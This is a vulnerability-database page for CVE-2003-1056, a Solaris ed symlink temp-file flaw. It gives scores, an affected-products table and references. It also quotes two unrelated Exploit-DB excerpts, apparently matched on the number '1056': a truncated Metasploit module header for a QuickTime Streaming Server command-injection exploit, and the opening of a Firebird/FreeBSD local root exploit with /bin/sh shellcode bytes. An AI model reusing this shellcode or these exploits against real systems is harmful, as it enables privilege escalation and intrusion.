CVE-2003-1056
published 2003-12-11CVE-2003-1056: The ed editor for Sun Solaris 2.6, 7, and 8 allows local users to create or overwrite arbitrary files via a symlink attack on temporary files.
PriorityP416high7.2CVSS 2.0
AVLACLAuNCCICAC
EPSS
0.35%
26.8th percentile
The ed editor for Sun Solaris 2.6, 7, and 8 allows local users to create or overwrite arbitrary files via a symlink attack on temporary files.
Affected
5 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| sun | solaris | — | — |
| sun | solaris | — | — |
| sun | solaris | — | — |
| sun | sunos | — | — |
| sun | sunos | — | — |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
QuickTime Streaming Server - 'parse_xml.cgi' Remote Execution (Metasploit)
exploitdb·2010-07-03
CVE-2003-0050 QuickTime Streaming Server - 'parse_xml.cgi' Remote Execution (Metasploit)
QuickTime Streaming Server - 'parse_xml.cgi' Remote Execution (Metasploit)
---
##
# $Id: qtss_parse_xml_exec.rb 9669 2010-07-03 03:13:45Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'QuickTime Streaming Server parse_xml.cgi Remote Execution',
'Description' => %q{
The QuickTime Streaming Server contains a CGI script that is vulnerable
to metacharacter injection, allow arbitrary commands to be executed as root.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9669 $',
'References' =>
[
[ 'OSVDB', '1056
Exploit-DB
Firebird 1.0.2 (FreeBSD 4.7-RELEASE) - Local Privilege Escalation
exploitdb·2003-05-12
CVE-2003-0281 Firebird 1.0.2 (FreeBSD 4.7-RELEASE) - Local Privilege Escalation
Firebird 1.0.2 (FreeBSD 4.7-RELEASE) - Local Privilege Escalation
---
/* DSR-firebird.c
Tested on: Firebird 1.0.2 FreeBSD 4.7-RELEASE
This is Proof Of concept code.
bash-2.05a$ ./DSR-firebird
( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) )
( ( by - [email protected] ) )
Usage: ./DSR-firebird
Targets:
1. [0xbfbff75d] - gds_inet_server
2. [0xbfbff75c] - gds_lock_mgr
3. [0xbfbff75e] - gds_drop
bash-2.05a$
*/
#include
#include
#include
#define LOCK "/usr/local/firebird/bin/gds_lock_mgr"
#define DROP "/usr/local/firebird/bin/gds_drop"
#define INET "/usr/local/firebird/bin/gds_inet_server"
#define LEN 1056
char dropcode[]=
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"
"\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
No writeups or analysis indexed.
http://secunia.com/advisories/10411http://sunsolve.sun.com/search/document.do?assetkey=1-26-57443-1http://www.auscert.org.au/render.html?it=3688http://www.osvdb.org/2955http://www.securityfocus.com/bid/9199https://exchange.xforce.ibmcloud.com/vulnerabilities/13952http://secunia.com/advisories/10411http://sunsolve.sun.com/search/document.do?assetkey=1-26-57443-1http://www.auscert.org.au/render.html?it=3688http://www.osvdb.org/2955http://www.securityfocus.com/bid/9199https://exchange.xforce.ibmcloud.com/vulnerabilities/13952
2003-12-11
Published